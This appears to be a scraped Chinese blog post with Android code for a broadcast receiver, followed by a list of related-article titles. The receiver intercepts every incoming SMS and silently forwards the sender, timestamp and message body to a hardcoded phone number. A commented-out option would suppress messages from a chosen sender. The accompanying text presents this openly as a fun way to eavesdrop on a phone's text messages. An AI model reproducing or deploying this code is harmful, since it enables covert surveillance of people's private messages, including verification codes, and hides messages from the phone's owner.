public class SMSBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容for(Object pdu : pdus){byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象String sender = message.getOriginatingAddress();//获取短信的发送者String content = message.getMessageBody();//获取短信的内容Date date = new Date(message.getTimestampMillis());SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String sendtime = format.format(date);SmsManager manager = SmsManager.getDefault();manager.sendTextMessage("5556", null,"发送人:"+sender+"-----发送时间:"+sendtime+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556//    if("number".equals(sender)){//        abortBroadcast();//    }                                  //如果不想让机主接收到某个号码的短信,//可以取消这段注释, number 为指定的号码//也可在此处给这个号码回复的内容。。。。。}}}

要实现这个功能其实很简单,手机接收到短信后会发出一段广播,我们只需在程序中写个广播接收器,然后写好特定的权限,当然这个功能还是比较好玩的,可以实现对机器的短信窃听。

Android短信拦截代码相关推荐

  1. Android短信拦截机制适配的坑(下)--4.4以上系统,主要是6.0

    前一篇文章,Android短信拦截机制适配的坑(上)--4.4以下系统 介绍了广播接收的顺序,但是我明确说明在4.4以下系统,那么4.4及以上系统会遇到说明问题呢? 首先我们要来了解4.4系统短信的机 ...

  2. 关于Android短信拦截

           今天参加了培训公司筹划的面试,主要是关于安卓客户端的技术面试,总结这次面试我决定写一些总结,首先就是关于我所写的手机通讯录的短信拦截功能的介绍:手机在接收到短信后会发出一段广播,我们只需 ...

  3. 关于Android短信拦截(二)

    题外话:因为这是一篇来自百度的文章,并且在好多网站中都有转载,但却没有标明出处,所以我也搞不清作者是何人,特在此声.另外,关于这个例子的实现,一定要注意权限的设置,我在这里例子的实验中,由于没有找到S ...

  4. Android 短信拦截及用途分析

    监听系统短信这个只能作为一个技术点来研究下,读者可能在工作中可能不会哦涉及到,一般的应用软件也不会有这个需求 但是作为程序员呢,多了解一下也是好的. Android 监听系统短信有什么用? 1.对系统 ...

  5. android短信验证码代码,Android短信验证码自动填写实现代码

    今天给大家分享一个Android短信验证码自动填写的功能.先看下效果图,我发送了一条短信到手机,自动填写验证码.如图: 这个小功能运用到了观察者模式,什么是观察者模式? 观察者模式 :定义对象间的一种 ...

  6. android短信拦截与发送,有效拦截苹果iMessage垃圾短信的几个方法

    近来,有不少手机用户反映,自己使用的iPhone手机经常出现各类促销广告的垃圾短信,涉及到的内容跟其它的垃圾短信几乎没什么区别.不过,值得注意的 是,这些垃圾短信并不是通过陌生手机号码或者特定的短信客 ...

  7. Android短信拦截2019,垃圾短信退订套路深 手机上装拦截软件是可行方法

    应对 手机上装拦截软件是可行方法 相关数据显示,2017年通过某知名手机安全卫士拦截的骚扰电话全年共计380亿次,相比2016年的385亿次略有下降:垃圾短信方面,全年拦截量从2013年的900亿条, ...

  8. Android短信拦截

    http://www.cnblogs.com/GarfieldTom/archive/2012/08/25/2655609.html 转载于:https://www.cnblogs.com/anffl ...

  9. Android短信拦截2019,关于征集2019年度信息科学领域重大项目立项建议的通告

    为了进一步完善重大项目立项机制,做好项目的立项和资助工作,信息科学部根据国家自然科学基金管理办法的规定,围绕信息领域"十三.五"优先发展战略,面向科技界征集重大项目立项建议. 一. ...

  10. WCF 实例 —— Android 短信助手 (WCF + Android)

    (1)最近开始学习 Android,为了更快上手于是给自己找个小课题来练习一下: WCF作为服务端开放RESTful Service,Android作为客户端将手机上的短信传给服务端显示,并轮询服务端 ...

最新文章

  1. Python基础03-运算符
  2. 实现MFC中Radio Button组绑定同一变量控制
  3. PSXDMS cassandra testing
  4. 【视频课】言有三每天答疑,38课深度学习+超60小时分类检测分割数据算法+超15个Pytorch框架使用与实践案例助你攻略CV...
  5. leetcode_longest substring without repeating characters
  6. lucene 源码分析_Lucene分析过程指南
  7. (转)API SOCKET基础(一) TCP建立连接并通信
  8. springboot2稳定版本_重要版本Spring Boot 2.3.0发布 - spring.io
  9. Jquery技巧:使用ajax技术提交表单数据
  10. drbd相关知识点解析
  11. SpringMVC 搭建遇到的坑
  12. oracle中nvarchar2查询结果显示总是少一位
  13. MFC编程入门之二十一(常用控件:编辑框Edit Control)
  14. 将 datetimepicker 嵌入 bindingNavigator
  15. csp是什么比赛_CSP-J/S认证 NOIP、NOI信息学竞赛解读!
  16. 信息系统项目管理师考试心得
  17. 房产java_Java学员作品-房地产项目
  18. rxjava背压_Rx系列第十八篇:RxJava之背压策略
  19. Mac下如何重启SSH
  20. android语音记账,爱彼语记语音计算器记账记事本

热门文章

  1. 《WEB开发- Web服务器环境搭建》使用花生壳+II7搭建网站服务
  2. 在layer弹出层中使用ueditor,所有的下拉选项事件都显示不了,或被遮挡
  3. 最优秀的开源库之GPUImage
  4. Android初学者的疑惑与“死板”的Android初学之路
  5. 设计模式四:用一个生产手机的简单例子说清楚工厂模式
  6. Android7工程模式,安卓手机进入各种工程模式快捷键小结
  7. 整合+策略:微网通联的GMP平台如何帮助企业搭建统一智慧通信架构
  8. 小失误点,不积跬步无以至千里
  9. Activity生命周期走向分析
  10. 来自腾讯的高性能服务器架构思路